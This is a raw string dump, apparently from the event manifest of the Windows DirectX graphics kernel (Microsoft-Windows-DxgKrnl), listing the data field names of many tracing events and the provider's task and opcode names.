AdapterFdoContext DevicePowerState Reason EventData Data Name DxgAdapter DxgAdapter EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name CertificateType Data Name CertificateSize Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay CertificateType CertificateSize Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name CertificateType Data Name CertificateSize Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay CertificateType CertificateSize Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name VidPnTargetId Data Name DriverProtectedOutputHandle Data Name ExternalProtectedOutputHandle Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay VidPnTargetId DriverProtectedOutputHandle ExternalProtectedOutputHandle Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name InformationGuid Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle InformationGuid Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name InformationGuid Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle InformationGuid Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name SettingGuid Data Name AdditionalParametersSize Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle SettingGuid AdditionalParametersSize Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle Status EventData Data Name NewBudget Data Name OldBudget Data Name pDxgAdapter Data Name ProcessId Data Name PhysicalAdapterIndex Data Name NewPriorityBand Data Name OldPriorityBand Data Name NewVisibilityState Data Name OldVisibilityState Data Name MemorySegmentGroup NewBudget OldBudget pDxgAdapter ProcessId PhysicalAdapterIndex NewPriorityBand OldPriorityBand NewVisibilityState OldVisibilityState MemorySegmentGroup EventData Data Name NewUsage Data Name OldUsage Data Name pDxgAdapter Data Name ProcessId Data Name PhysicalAdapterIndex Data Name MemorySegmentGroup NewUsage OldUsage pDxgAdapter ProcessId PhysicalAdapterIndex MemorySegmentGroup EventData Data Name Commitment Data Name OldCommitment Data Name pDxgAdapter Data Name ProcessId Data Name PhysicalAdapterIndex Data Name PriorityClass Commitment OldCommitment pDxgAdapter ProcessId PhysicalAdapterIndex PriorityClass EventData Data Name Commitment Data Name OldCommitment Data Name pDxgAdapter Data Name ProcessId Data Name PhysicalAdapterIndex Data Name MemorySegmentGroup Commitment OldCommitment pDxgAdapter ProcessId PhysicalAdapterIndex MemorySegmentGroup EventData Data Name pDxgAdapter Data Name PhysicalAdapterIndex Data Name DriverSegmentIndex Data Name VprIndex Data Name Commit Data Name Size Data Name GrowRatio Data Name CurrentRatio Data Name Capacity pDxgAdapter PhysicalAdapterIndex DriverSegmentIndex VprIndex Commit Size GrowRatio CurrentRatio Capacity EventData Data Name pDxgAdapter Data Name PhysicalAdapterIndex Data Name DriverSegmentIndex Data Name VprIndex Data Name CapacityRatio Data Name CurrentRatio Data Name Capacity pDxgAdapter PhysicalAdapterIndex DriverSegmentIndex VprIndex CapacityRatio CurrentRatio Capacity EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name ProtectionType Data Name ProtectionLevel Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle ProtectionType ProtectionLevel Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name ConnectorType Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle ConnectorType Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name SupportedProtectionTypes Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle SupportedProtectionTypes Status EventData Data Name MiniportDeviceContext Data Name RedirectedForIndirectDisplay Data Name DriverProtectedOutputHandle Data Name ProtectionType Data Name ProtectionLevel Data Name Status MiniportDeviceContext RedirectedForIndirectDisplay DriverProtectedOutputHandle ProtectionType ProtectionLevel Status EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name Visible pDxgAdapter VidPnSourceId Visible EventData Data Name AdapterLuid Data Name DisableD3Requests Data Name GetMiniportStatus AdapterLuid DisableD3Requests GetMiniportStatus EventData Data Name hVidmmGlobalAlloc Data Name OldOwnerPid Data Name NewOwnerPid hVidmmGlobalAlloc OldOwnerPid NewOwnerPid EventData Data Name MiniportDeviceContext Data Name Flags Data Name Status MiniportDeviceContext Flags Status EventData Data Name MiniportDeviceContext Data Name Type Data Name TargetId Data Name NonDestructiveOnly Data Name Status MiniportDeviceContext Type TargetId NonDestructiveOnly Status EventData Data Name MiniportDeviceContext Data Name ConnectionChangeId Data Name TargetId Data Name ConnectionStatus Data Name TargetType Data Name NewTargetId Data Name Status MiniportDeviceContext ConnectionChangeId TargetId ConnectionStatus TargetType NewTargetId Status EventData Data Name DxgAdapter Data Name Exclusive DxgAdapter Exclusive EventData Data Name DxgAdapter Data Name Acquired DxgAdapter Acquired EventData Data Name DxgAdapter DxgAdapter EventData Data Name SessionGuid SessionGuid EventData Data Name MiniportDeviceContext Data Name TargetId Data Name Status MiniportDeviceContext TargetId Status EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType VmBusChannel CommandId CommandType EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType Data Name Status VmBusChannel CommandId CommandType Status EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType Data Name PacketCompleted VmBusChannel CommandId CommandType PacketCompleted EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType Data Name WorkItemQueued VmBusChannel CommandId CommandType WorkItemQueued EventData Data Name Packet Data Name CommandId Data Name CommandType Packet CommandId CommandType EventData Data Name Packet Packet EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType VmBusChannel CommandId CommandType EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType Data Name PacketCompleted VmBusChannel CommandId CommandType PacketCompleted EventData Data Name Packet Data Name CommandId Data Name CommandType Packet CommandId CommandType EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType VmBusChannel CommandId CommandType EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType Data Name Status VmBusChannel CommandId CommandType Status EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType Data Name WorkItemQueued VmBusChannel CommandId CommandType WorkItemQueued EventData Data Name VmBusChannel Data Name CommandId Data Name CommandType Data Name PacketCompleted VmBusChannel CommandId CommandType PacketCompleted EventData Data Name Packet Data Name CommandId Data Name CommandType Packet CommandId CommandType EventData Data Name VidMmSegment VidMmSegment EventData Data Name VidMmGlobalAlloc VidMmGlobalAlloc EventData Data Name pDxgAdapter Data Name Offset Data Name Size pDxgAdapter Offset Size EventData Data Name pDxgAdapter Data Name QueriedSize pDxgAdapter QueriedSize EventData Data Name Entry Data Name Activation Data Name ProcessName Data Name Reason Entry Activation ProcessName Reason EventData Data Name Entry Data Name Activation Data Name Data Name ProcessName Data Name Reason Data Name TimeInMS Entry Activation ProcessName Reason TimeInMS EventData EventData Data Name hTrackedWorkload Data Name CurrentTime Data Name CurrentPowerLevel Data Name CapacityRatio Data Name SubmissionTime Data Name RequestedDeadline Data Name CompletionDeadline Data Name DeadlineOffsetInMs Data Name TotalMissedDeadlines hTrackedWorkload CurrentTime CurrentPowerLevel CapacityRatio SubmissionTime RequestedDeadline CompletionDeadline DeadlineOffsetInMs TotalMissedDeadlines EventData Data Name hTrackedWorkload Data Name hDevice Data Name hThunkHandle Data Name DeadlineType Data Name Policy Data Name Flags Data Name MaxInstances Data Name Contexts Data Name hContextArray hTrackedWorkload hDevice hThunkHandle DeadlineType Policy Flags MaxInstances Contexts hContextArray EventData Data Name hTrackedWorkload Data Name ContextIndex Data Name CurrentPowerLevel Data Name TargetPowerLevel Data Name EffectivePowerLevel Data Name Status hTrackedWorkload ContextIndex CurrentPowerLevel TargetPowerLevel EffectivePowerLevel Status EventData Data Name hTrackedWorkload Data Name m_desiredCapRatio Data Name m_minPowerLevel Data Name m_maxPowerLevel Data Name m_curEntry Data Name m_info0_state Data Name m_info0_meanCapacityRatio Data Name m_info0_varianceCapacityRatio Data Name m_info0_powerLevel Data Name m_info0_effectivePowerLevel Data Name m_info0_remainingIterations Data Name m_info0_valid Data Name m_info0_saturated Data Name m_info1_state Data Name m_info1_meanCapacityRatio Data Name m_info1_varianceCapacityRatio Data Name m_info1_powerLevel Data Name m_info1_effectivePowerLevel Data Name m_info1_remainingIterations Data Name m_info1_valid Data Name m_info1_saturated Data Name m_info2_state Data Name m_info2_meanCapacityRatio Data Name m_info2_varianceCapacityRatio Data Name m_info2_powerLevel Data Name m_info2_effectivePowerLevel Data Name m_info2_remainingIterations Data Name m_info2_valid Data Name m_info2_saturated Data Name m_info3_state Data Name m_info3_meanCapacityRatio Data Name m_info3_varianceCapacityRatio Data Name m_info3_powerLevel Data Name m_info3_effectivePowerLevel Data Name m_info3_remainingIterations Data Name m_info3_valid Data Name m_info3_saturated Data Name m_info4_state Data Name m_info4_meanCapacityRatio Data Name m_info4_varianceCapacityRatio Data Name m_info4_powerLevel Data Name m_info4_effectivePowerLevel Data Name m_info4_remainingIterations Data Name m_info4_valid Data Name m_info4_saturated hTrackedWorkload m_desiredCapRatio m_minPowerLevel m_maxPowerLevel m_curEntry m_info0_state m_info0_meanCapacityRatio m_info0_varianceCapacityRatio m_info0_powerLevel m_info0_effectivePowerLevel m_info0_remainingIterations m_info0_valid m_info0_saturated m_info1_state m_info1_meanCapacityRatio m_info1_varianceCapacityRatio m_info1_powerLevel m_info1_effectivePowerLevel m_info1_remainingIterations m_info1_valid m_info1_saturated m_info2_state m_info2_meanCapacityRatio m_info2_varianceCapacityRatio m_info2_powerLevel m_info2_effectivePowerLevel m_info2_remainingIterations m_info2_valid m_info2_saturated m_info3_state m_info3_meanCapacityRatio m_info3_varianceCapacityRatio m_info3_powerLevel m_info3_effectivePowerLevel m_info3_remainingIterations m_info3_valid m_info3_saturated m_info4_state m_info4_meanCapacityRatio m_info4_varianceCapacityRatio m_info4_powerLevel m_info4_effectivePowerLevel m_info4_remainingIterations m_info4_valid m_info4_saturated EventData Data Name hTrackedWorkload Data Name m_durationStatsInMS_index Data Name m_durationStatsInMS_count Data Name m_durationStatsInMS_windowSize Data Name m_durationStatsInMS_mean Data Name m_durationStatsInMS_variance Data Name m_durationStatsInMS_min Data Name m_durationStatsInMS_max Data Name m_durationStatsInMS_needsUpdate Data Name m_capRatioStats_index Data Name m_capRatioStats_count Data Name m_capRatioStats_windowSize Data Name m_capRatioStats_mean Data Name m_capRatioStats_variance Data Name m_capRatioStats_min Data Name m_capRatioStats_max Data Name m_capRatioStats_needsUpdate Data Name m_deadlineOffsetStatsInMS_count Data Name m_deadlineOffsetStatsInMS_min Data Name m_deadlineOffsetStatsInMS_max Data Name m_deadlineOffsetStatsInMS_sum Data Name m_deadlineOffsetStatsInMS_sum2 hTrackedWorkload m_durationStatsInMS_index m_durationStatsInMS_count m_durationStatsInMS_windowSize m_durationStatsInMS_mean m_durationStatsInMS_variance m_durationStatsInMS_min m_durationStatsInMS_max m_durationStatsInMS_needsUpdate m_capRatioStats_index m_capRatioStats_count m_capRatioStats_windowSize m_capRatioStats_mean m_capRatioStats_variance m_capRatioStats_min m_capRatioStats_max m_capRatioStats_needsUpdate m_deadlineOffsetStatsInMS_count m_deadlineOffsetStatsInMS_min m_deadlineOffsetStatsInMS_max m_deadlineOffsetStatsInMS_sum m_deadlineOffsetStatsInMS_sum2 EventData Data Name pDxgAdapter Data Name VirtualFunctionIndex Data Name bSecure Data Name Status Data Name FailureType pDxgAdapter VirtualFunctionIndex bSecure Status FailureType EventData Data Name pDxgAdapter Data Name VirtualFunctionIndex Data Name Status Data Name Scenario Data Name EventId Data Name data1 Data Name data2 pDxgAdapter VirtualFunctionIndex Status Scenario EventId data1 data2 EventData Data Name pDxgAdapter Data Name VirtualFunctionIndex Data Name Status Data Name FailureType pDxgAdapter VirtualFunctionIndex Status FailureType EventData Data Name VidPnSourceId Data Name VsyncState Data Name LastFrameTime VidPnSourceId VsyncState LastFrameTime EventData Data Name AdapterLuid Data Name TargetId Data Name GuestEvent Data Name VmBusChannel Data Name Status AdapterLuid TargetId GuestEvent VmBusChannel Status EventData Data Name AdapterLuid Data Name TargetId Data Name GuestEvent Data Name VmBusChannel AdapterLuid TargetId GuestEvent VmBusChannel EventData Data Name HostAdapterLuid Data Name HostVidPnTargetId Data Name SyncRefreshCount Data Name SyncQPCTime Data Name HostSyncQPCTime HostAdapterLuid HostVidPnTargetId SyncRefreshCount SyncQPCTime HostSyncQPCTime EventData Data Name Status Data Name bGPUpv Data Name Stage Data Name SessionType Data Name SessionId Status bGPUpv Stage SessionType SessionId EventData Data Name DxgDevice Data Name FromUserMode Data Name Reason DxgDevice FromUserMode Reason EventData Data Name pDxgAdapter Data Name NodeOrdinal Data Name PhysicalAdapterIndex Data Name Frequency Data Name MaxFrequency Data Name MaxFrequencyOC Data Name Voltage Data Name VoltageMax Data Name VoltageMaxOC Data Name MaxTransitionLatency pDxgAdapter NodeOrdinal PhysicalAdapterIndex Frequency MaxFrequency MaxFrequencyOC Voltage VoltageMax VoltageMaxOC MaxTransitionLatency EventData Data Name DxgProcess Data Name ProcessId Data Name HostProcessHandle Data Name ProcessFlags DxgProcess ProcessId HostProcessHandle ProcessFlags EventData Data Name DxgProcess Data Name ProcessId Data Name HostProcessHandle Data Name ProcessFlags Data Name ProcessIdInVm Data Name DxgProcessInVm Data Name DxgVirtualMachine Data Name ProcessNameInVm DxgProcess ProcessId HostProcessHandle ProcessFlags ProcessIdInVm DxgProcessInVm DxgVirtualMachine ProcessNameInVm EventData Data Name DxgVirtualMachine Data Name VmwpProcess Data Name VmmemProcess Data Name VmGuid DxgVirtualMachine VmwpProcess VmmemProcess VmGuid EventData Data Name DxgVirtualGpu Data Name VirtualGpuLuid Data Name DxgVirtualMachine Data Name DxgAdapter Data Name VirtualFunctionIndex Data Name VirtualGpuType DxgVirtualGpu VirtualGpuLuid DxgVirtualMachine DxgAdapter VirtualFunctionIndex VirtualGpuType EventData Data Name DxgVirtualGpu Data Name DxgDevice Data Name NumAllocations DxgVirtualGpu DxgDevice NumAllocations EventData Data Name DxgVirtualGpu Data Name DxgAllocation Data Name SegmentOffset Data Name Size Data Name Alignment Data Name SegmentDriverSegmentId DxgVirtualGpu DxgAllocation SegmentOffset Size Alignment SegmentDriverSegmentId EventData Data Name Object Object EventData Data Name DxgProcess Data Name DeviceHandle Data Name Status DxgProcess DeviceHandle Status EventData Data Name Object Object EventData Data Name AgentID Data Name EventType Data Name PartitionId Data Name EventDescription Data Name EventData1 Data Name EventData2 Data Name EventData3 Data Name EventData4 Data Name EventData5 AgentID EventType PartitionId EventDescription EventData1 EventData2 EventData3 EventData4 EventData5 EventData Data Name FlipEntryVsyncMultiplier Data Name VidPnSourceVsyncMultiplier Data Name OldFlipInterval Data Name NewFlipInterval FlipEntryVsyncMultiplier VidPnSourceVsyncMultiplier OldFlipInterval NewFlipInterval EventData Data Name BoostedVSyncFreqEligible Data Name IsNonBoostedVsyncFrame BoostedVSyncFreqEligible IsNonBoostedVsyncFrame EventData Data Name VidPnSourceId Data Name OldBaseDesktopDuration Data Name CurrentHwDuration Data Name NewBaseDesktopDuration VidPnSourceId OldBaseDesktopDuration CurrentHwDuration NewBaseDesktopDuration EventData Data Name VidPnSourceId Data Name OldDurationPlane Data Name CurrentHwDuration Data Name NewDurationPlane VidPnSourceId OldDurationPlane CurrentHwDuration NewDurationPlane EventData Data Name VidPnSourceId Data Name OldDuration Data Name OldRefreshRateMultiplier Data Name NewDuration Data Name NewRefreshRateMultiplier VidPnSourceId OldDuration OldRefreshRateMultiplier NewDuration NewRefreshRateMultiplier EventData Data Name VidPnSourceId Data Name PlaneIndex Data Name CompSurfaceLuid Data Name BindId Data Name Return Status Data Name CancelFromPresentId Data Name FlipQueueWaitingOrderIndex Data Name AbortedSoftwarePresentPackets Data Name CancelFromFlipEntryIndex Data Name CancelToFlipEntryIndex VidPnSourceId PlaneIndex CompSurfaceLuid BindId Return Status CancelFromPresentId FlipQueueWaitingOrderIndex AbortedSoftwarePresentPackets CancelFromFlipEntryIndex CancelToFlipEntryIndex EventData Data Name VidPnSourceId Data Name PlaneIndex Data Name CompSurfaceLuid Data Name BindId Data Name PresentId Data Name VSyncEnable Data Name ReprogramResult VidPnSourceId PlaneIndex CompSurfaceLuid BindId PresentId VSyncEnable ReprogramResult EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name DdiNtStatus Data Name PlaneCount Data Name LayerIndex Data Name CancelRequestedPresentId Data Name CancelledFromPresentId Data Name CancelledToPresentId Data Name CancelReason pDxgAdapter VidPnSourceId DdiNtStatus PlaneCount LayerIndex CancelRequestedPresentId CancelledFromPresentId CancelledToPresentId CancelReason EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name LayerIndex Data Name RequeueFromeSubmitSequence Data Name RequeueToSubmitSequence Data Name FlipMmIoPendingMask pDxgAdapter VidPnSourceId LayerIndex RequeueFromeSubmitSequence RequeueToSubmitSequence FlipMmIoPendingMask EventData Data Name hwnd hwnd EventData Data Name VidPnSourceId Data Name DpcFrameNumber Data Name OriginalDpcFrameTime Data Name SmoothenedDpcFrameTime Data Name SmoothenedDpcFrameTime100ns Data Name FrameTimeDeltaIn100ns Data Name SampleCount VidPnSourceId DpcFrameNumber OriginalDpcFrameTime SmoothenedDpcFrameTime SmoothenedDpcFrameTime100ns FrameTimeDeltaIn100ns SampleCount EventData Data Name VidPnSourceId VidPnSourceId EventData Data Name VsyncState Data Name VSyncOnTotalTimeMs Data Name VSyncOffKeepPhaseTotalTimeMs Data Name VSyncOffNoPhaseTotalTimeMs VsyncState VSyncOnTotalTimeMs VSyncOffKeepPhaseTotalTimeMs VSyncOffNoPhaseTotalTimeMs EventData Data Name VidPnSourceId Data Name Active Data Name ScreenOnVSyncOnTimeMs Data Name ScreenOnVSyncOffKeepPhaseTimeMs Data Name ScreenOnVSyncOffNoPhaseTimeMs Data Name ScreenOffVSyncOnTimeMs Data Name ScreenOffVSyncOffKeepPhaseTimeMs Data Name ScreenOffVSyncOffNoPhaseTimeMs VidPnSourceId Active ScreenOnVSyncOnTimeMs ScreenOnVSyncOffKeepPhaseTimeMs ScreenOnVSyncOffNoPhaseTimeMs ScreenOffVSyncOnTimeMs ScreenOffVSyncOffKeepPhaseTimeMs ScreenOffVSyncOffNoPhaseTimeMs EventData Data Name CurrentSmoothenedVSyncPeriodQpc Data Name NewDefaultVSyncPeriodQpc CurrentSmoothenedVSyncPeriodQpc NewDefaultVSyncPeriodQpc EventData Data Name VidPnSourceId Data Name SmoothenedPeriodQpc Data Name CurrentModeRefreshPeriodQpc Data Name HwPresentDurationQpc VidPnSourceId SmoothenedPeriodQpc CurrentModeRefreshPeriodQpc HwPresentDurationQpc EventData Data Name FlipManagerId Data Name PresentId FlipManagerId PresentId EventData Data Name FlipManagerId Data Name PresentId Data Name Requeued FlipManagerId PresentId Requeued EventData Data Name pDxgAdapter Data Name NodeOrdinal Data Name EngineOrdinal Data Name LastHwCompletedFenceId Data Name LastHwSubmittedFenceId Data Name NumberOfPendingSuspendRequests Data Name NumberOfReadyInteractiveHwQueues pDxgAdapter NodeOrdinal EngineOrdinal LastHwCompletedFenceId LastHwSubmittedFenceId NumberOfPendingSuspendRequests NumberOfReadyInteractiveHwQueues EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name LayerIndex Data Name PresentId pDxgAdapter VidPnSourceId LayerIndex PresentId EventData Data Name pDxgAdapter Data Name Flags pDxgAdapter Flags EventData Data Name pDxgAdapter Data Name Flags Data Name Status pDxgAdapter Flags Status EventData Data Name AdapterLuid Data Name PhysicalAdapterIndex Data Name GpuMemoryFrequency Data Name GpuPower Data Name GpuTemperature Data Name GpuFanRPM Data Name EngineOrdinal Data Name EngineFrequency Data Name EngineVoltage Data Name EngineMaxTransitionLatency Data Name DdiQueryElapsedTimeInMs AdapterLuid PhysicalAdapterIndex GpuMemoryFrequency GpuPower GpuTemperature GpuFanRPM EngineOrdinal EngineFrequency EngineVoltage EngineMaxTransitionLatency DdiQueryElapsedTimeInMs EventData Data Name EventType Data Name hContext Data Name SubmitSequence Data Name Flags Data Name ObjectCount Data Name ObjectArray Data Name FenceValue Data Name pQueuePacket EventType hContext SubmitSequence Flags ObjectCount ObjectArray FenceValue pQueuePacket EventData Data Name hDevice Data Name hContext Data Name hSyncObject Data Name NumOperations Data Name Flags Data Name FenceValue Data Name VidSchSyncObject Data Name VidSchContext hDevice hContext hSyncObject NumOperations Flags FenceValue VidSchSyncObject VidSchContext EventData Data Name Status Data Name FailureReason Status FailureReason EventData Data Name VidMmAlloc Data Name SegmentId Data Name SegmentOffset VidMmAlloc SegmentId SegmentOffset EventData Data Name VidMmAlloc VidMmAlloc EventData Data Name pDxgAdapter Data Name VidMmAlloc pDxgAdapter VidMmAlloc EventData Data Name pDxgAdapter Data Name hDevice pDxgAdapter hDevice EventData Data Name MiniportDeviceContext Data Name OutAdapterRuntimeSupport Data Name Status MiniportDeviceContext OutAdapterRuntimeSupport Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name SystemHasMux MiniportDeviceContext TargetId SystemHasMux EventData Data Name MiniportDeviceContext Data Name OutDriverSupport Data Name Status MiniportDeviceContext OutDriverSupport Status EventData Data Name MiniportDeviceContext Data Name SystemHasMux MiniportDeviceContext SystemHasMux EventData Data Name MiniportDeviceContext Data Name TargetId Data Name OutSwitchPrivateDataSize Data Name Status MiniportDeviceContext TargetId OutSwitchPrivateDataSize Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name SwitchPrivateDataSize Data Name OutPrivateDataGuid Data Name Status MiniportDeviceContext TargetId SwitchPrivateDataSize OutPrivateDataGuid Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name CurrentBrightnessLevel Data Name Status MiniportDeviceContext TargetId CurrentBrightnessLevel Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name MuxSwitchedToTarget Data Name Status MiniportDeviceContext TargetId MuxSwitchedToTarget Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name Status MiniportDeviceContext TargetId Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name SwitchPrivateDataSize Data Name PrivateDataGuid Data Name Status MiniportDeviceContext TargetId SwitchPrivateDataSize PrivateDataGuid Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name OutWasPanelInPSR Data Name Status MiniportDeviceContext TargetId OutWasPanelInPSR Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name Brightness3Supported Data Name Status MiniportDeviceContext TargetId Brightness3Supported Status EventData Data Name DxgAdapter Data Name TaskId Data Name SchClassType Data Name TaskType DxgAdapter TaskId SchClassType TaskType EventData Data Name DxgAdapter Data Name TaskId Data Name SchClassType Data Name TaskType DxgAdapter TaskId SchClassType TaskType EventData Data Name DxgAdapter Data Name TaskId Data Name SchClassType Data Name TaskType Data Name PreemptionTime DxgAdapter TaskId SchClassType TaskType PreemptionTime EventData Data Name DxgAdapter Data Name TaskId Data Name SchClassType Data Name TaskType Data Name ExecutionTime Data Name TaskRuntime DxgAdapter TaskId SchClassType TaskType ExecutionTime TaskRuntime EventData Data Name DxgAdapter Data Name TaskId DxgAdapter TaskId EventData Data Name DxgAdapter Data Name TaskId DxgAdapter TaskId EventData Data Name DxgAdapter Data Name pVidMmDevice Data Name pPagingQueue Data Name Flags DxgAdapter pVidMmDevice pPagingQueue Flags EventData Data Name MiniportDeviceContext Data Name Status MiniportDeviceContext Status EventData Data Name MiniportDeviceContext MiniportDeviceContext EventData Data Name pDxgAdapter Data Name PageTableObject Data Name Start pDxgAdapter PageTableObject Start EventData Data Name GraphicsVendorId Data Name Status Data Name FailureReason GraphicsVendorId Status FailureReason EventData Data Name ObjectCount Data Name VidSchSyncObjectArray Data Name DxgSyncObjectArray Data Name FenceValues Data Name AlwaysSignaled ObjectCount VidSchSyncObjectArray DxgSyncObjectArray FenceValues AlwaysSignaled EventData Data Name ObjectCount Data Name VidSchSyncObjectArray Data Name DxgSyncObjectArray Data Name FenceValues Data Name AlwaysSignaled Data Name Flags Data Name pCpuEvent Data Name pGuestCpuEvent ObjectCount VidSchSyncObjectArray DxgSyncObjectArray FenceValues AlwaysSignaled Flags pCpuEvent pGuestCpuEvent EventData Data Name VidSchSyncObject Data Name DxgSyncObject Data Name AlwaysSignaled VidSchSyncObject DxgSyncObject AlwaysSignaled EventData Data Name FlipCompletedFrameTime Data Name HwFlippedAtQpc Data Name HwPresentDuration Data Name FlipTrueImmediate Data Name ReportedCompletedTime Data Name ReportedDuration FlipCompletedFrameTime HwFlippedAtQpc HwPresentDuration FlipTrueImmediate ReportedCompletedTime ReportedDuration EventData Data Name PageSize PageSize EventData Data Name pGlobalAlloc Data Name AllocationSizeInBytes Data Name NumberOfContiguousPages pGlobalAlloc AllocationSizeInBytes NumberOfContiguousPages EventData Data Name NumLargePagesRequested Data Name NumLargePagesCreated NumLargePagesRequested NumLargePagesCreated EventData Data Name pGlobalAlloc Data Name TotalSizeInBytes Data Name NonContiguousBytes Data Name NumBytesUpgraded Data Name Cached pGlobalAlloc TotalSizeInBytes NonContiguousBytes NumBytesUpgraded Cached Microsoft-Windows-DxgKrnl win:Info win:Start win:Stop win:DC_Start win:LogAlways win:Error win:Informational HighPagingLevel ExcessiveMemoryTransfer PerfTrack_DMM_Hotplug_Monitor_Set_VideoMode DMM_SnapPerfCounters PerfTrack_Dxgkrnl_StateChangeNotify Blit BlitRect Flip Render RenderKm PresentHistory ACPIEvent DmaPacket QueuePacket VSyncInterrupt VSyncDPC UpdateContextRunningTime WorkerThread UpdateContextStatus ChangePriority AttemptPreemption SelectContext MMIOFlip Adapter Device Context AdapterAllocation DeviceAllocation TerminateAllocation ProcessTerminateAllocation Lock Unlock ReferenceAllocations PatchLocationList SetAllocationPriority MigrateAllocation MemoryTransfer ApertureMapping ApertureUnmapping PagingOpTransfer PagingOpFill PagingOpDiscard PagingOpReadPhysical PagingOpWritePhysical PagingOpMapApertureSegment PagingOpUnmapApertureSegment PagingOpSpecialLockTransfer Preparation RenameAllocation SkipSegment ReserveResource InnerIteration AllocationFault MarkAllocation PageInAllocation EvictAllocation Unreset AddDmaBuffer ReportSegment ReportCommittedAllocation ProcessPolicyChange SegmentPolicyChange DmaPoolTrimmingPolicy SetProcessWorkingSet SynchronizationMutex Semaphore Fence CPUNotification SignalSynchronizationObject SetDisplayMode BlockThread PerformanceWarning Profiler ExtendedProfiler SetPointerPosition DpiReportAdapter InvalidateModeCache RebuildModeCache WaitForSynchronizationObject DpiDispatchPnp DpiDispatchPower DpiDispatchIoctl DpiDispatchInternalIoctl DpiDispatchSystemControl DdiAddDevice DdiStartDevice DdiStopDevice DdiRemoveDevice DdiDispatchIoRequest DdiProtectedCallback DdiQueryChildRelations DdiQueryChildStatus DdiQueryDeviceDescriptor DdiSetPowerState DdiNotifyAcpiEvent DdiUnload DdiQueryInterface DdiLinkDevice DpiAddDevice DpiDriverUnload DpiDispatchCreate DpiDispatchClose EtwVersion ExternalEvent GetDeviceState GetDevicePresentState Present RecordQueuePacketTimestamps OfferAllocation ReportOfferAllocation ReclaimAllocation DiscardAllocation Dxgk_Diag_OutputDupl_Connect Dxgk_Diag_OutputDupl_Destroy Dxgk_Diag_OutputDupl_Process_Present Dxgk_Diag_OutputDupl_Process_Pointer_Shape Dxgk_Diag_OutputDupl_Process_Pointer_Position Dxgk_Diag_OutputDupl_High_Level_Update_Start Dxgk_Diag_OutputDupl_High_Level_Update_Stop Dxgk_Diag_OutputDupl_Get_Frame_Data Dxgk_Diag_OutputDupl_Get_Meta_Data Dxgk_Diag_OutputDupl_Get_Pointer_Shape_Data RuntimePowerManagement DdiStopDeviceAndReleasePostDisplayOwnership Dxgk_Diag_OutputDupl_Release_Frame PresentHistoryDetailed BlockGpuAccess DelayContextScheduling DdiGetChildContainerId ProcessAllocation ReportCommittedGlobalAllocation SignalSynchronizationObject2 WaitForSynchronizationObject2 UnwaitQueuePacket ChangeInProcessPriority DdiNotifySurpriseRemoval ResetBackingStore GpuWork VSync AllocationTerminationListTimer NodeMetadata PresentMultiPlaneOverlay FlipMultiPlaneOverlay MMIOFlipMultiPlaneOverlay DpiFdoThermalActiveCooling DpiFdoThermalPassiveCooling CalibrateGpuClockTask HistoryBuffer YieldDueToStarvationThresholdExceeded ScheduleHighestReadyPriorityLevel IndependentFlip IndependentFlipTransition CancelFlip DxgkSetPresenterViewMode DxgkCbIndicateChildStatus CheckMultiPlaneOverlaySuccess CheckMultiPlaneOverlayFail CheckMultiPlaneOverlaySupportPlane VSyncDPCMultiPlane TotalBytesResidentInSegment Brightness BacklightOptimizationLevel VidMmDereferenceObjectAsync VidMmUnmapViewAsync PagingPreparation CddStandardAllocation ProcessAllocationDetails MonitoredFence SignalSynchronizationObjectFromGpu WaitForSynchronizationObjectFromGpu SignalSynchronizationObjectFromCpu WaitForSynchronizationObjectFromCpu 